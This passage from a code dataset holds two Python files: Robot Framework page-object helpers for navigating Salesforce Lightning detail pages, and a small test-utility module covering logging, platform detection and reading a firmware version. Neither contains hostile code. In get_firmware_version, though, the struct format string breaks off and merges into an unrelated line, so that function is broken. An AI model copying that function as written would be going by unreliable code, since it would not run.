using keyword arguments,\n they need to represent a unique user.\n\n Example\n\n | ${contact_id} = Salesforce Insert Contact\n | ... FirstName=${first_name}\n | ... LastName=${last_name}\n |\n | # Using the id:\n | Go to page Detail Contact ${contact_id}\n |\n | # Using lookup parameters\n | Go to page Detail Contact FirstName=${first_name} LastName=${last_name}\n\n \"\"\"\n\n def _go_to_page(self, object_id=None, **kwargs):\n \"\"\"Go to the detail page for the given record.\n\n You may pass in an object id, or you may pass in keyword arguments\n which can be used to look up the object.\n\n Example\n\n | Go to page Detail Contact firstName=John lastName=Smith\n \"\"\"\n\n if kwargs and object_id:\n raise Exception(\"Specify an object id or keyword arguments, but not both\")\n\n if kwargs:\n # note: this will raise an exception if no object is found,\n # or if multiple objects are found.\n object_id = self._get_object(**kwargs)[\"Id\"]\n\n url_template = \"{root}/lightning/r/{object_name}/{object_id}/view\"\n url = url_template.format(\n root=self.cumulusci.org.lightning_base_url,\n object_name=self.object_name,\n object_id=object_id,\n )\n self.selenium.go_to(url)\n self.salesforce.wait_until_loading_is_complete()\n\n def _is_current_page(self, **kwargs):\n \"\"\"Verify we are on a detail page.\n\n If keyword arguments are present, this function will go a query\n on the given parameters, assert that the query returns a single\n result, and the verify that the returned object id is part of the url.\n \"\"\"\n if kwargs:\n # do a lookup to get the object i\n object_id = self._get_object(**kwargs)[\"Id\"]\n pattern = r\"/lightning/r/{}/{}/view$\".format(self.object_name, object_id)\n else:\n # no kwargs means we should just verify we are on a detail\n # page without regard to which object\n pattern = r\"/lightning/r/{}/.*/view$\".format(self.object_name)\n\n location = self.selenium.get_location()\n if not re.search(pattern, location):\n raise Exception(\n \"Location '{}' didn't match pattern {}\".format(location, pattern)\n )\n","repo_name":"justindixon/CumulusCI","sub_path":"cumulusci/robotframework/pageobjects/BasePageObjects.py","file_name":"BasePageObjects.py","file_ext":"py","file_size_in_byte":9938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"2201456469","text":"import logging\nimport os\nimport sys\nimport io\nimport datetime\nimport struct\n\n# Set level for default logger\nlog_def = logging.getLogger()\nlog_def.setLevel(logging.ERROR)\nlogger = logging.getLogger(__name__)\n\nlogger.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s', datefmt='%Y-%m-%d %H:%M:%S')\n# create console handler\nch = logging.StreamHandler()\nch.setFormatter(formatter)\n# add the handlers to logger\nlogger.addHandler(ch)\n\n\ndef log_to_file(directory='./Log/'):\n \"\"\"\n Logger output to file\n :param directory: Directory for log files\n \"\"\"\n # File name\n log_filename = datetime.datetime.now().strftime('%Y%m%d-%H%M%S') + '.txt'\n\n # Create directory if not exist\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n # Create file handler and add to logger\n fh = logging.FileHandler(filename=os.path.join(directory, log_filename))\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n\n\ndef is_testing_platform(switch='linux'):\n \"\"\"\n Is it a testing linux platform\n :param switch: Name of operating system of testing platform\n :return: True on match\n \"\"\"\n if sys.platform.startswith(switch):\n return True\n else:\n return False\n\n\ndef get_firmware_version(file_name, offset):\n \"\"\"\n Get firmware version from binary file\n :param file_name: Name of binary file\n :param offset: Offset of version id in bytes\n :return: Firmware version\n \"\"\"\n with io.open(file_name, 'rb') as f:\n content = f.read(offset + 4)\n return struct.unpack(' **********'.format(suite, case))\n\n\ndef resource_path(relative_path):\n if hasattr(sys, '_MEIPASS'):\n return os.path.join(sys._MEIPASS, relative_path)\n return os.path.join(os.path.abspath(\".\"), relative_path)\n\n","repo_name":"LogicElements/lecore","sub_path":"src/lecore/TestFrame/TestUtils.py","file_name":"TestUtils.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}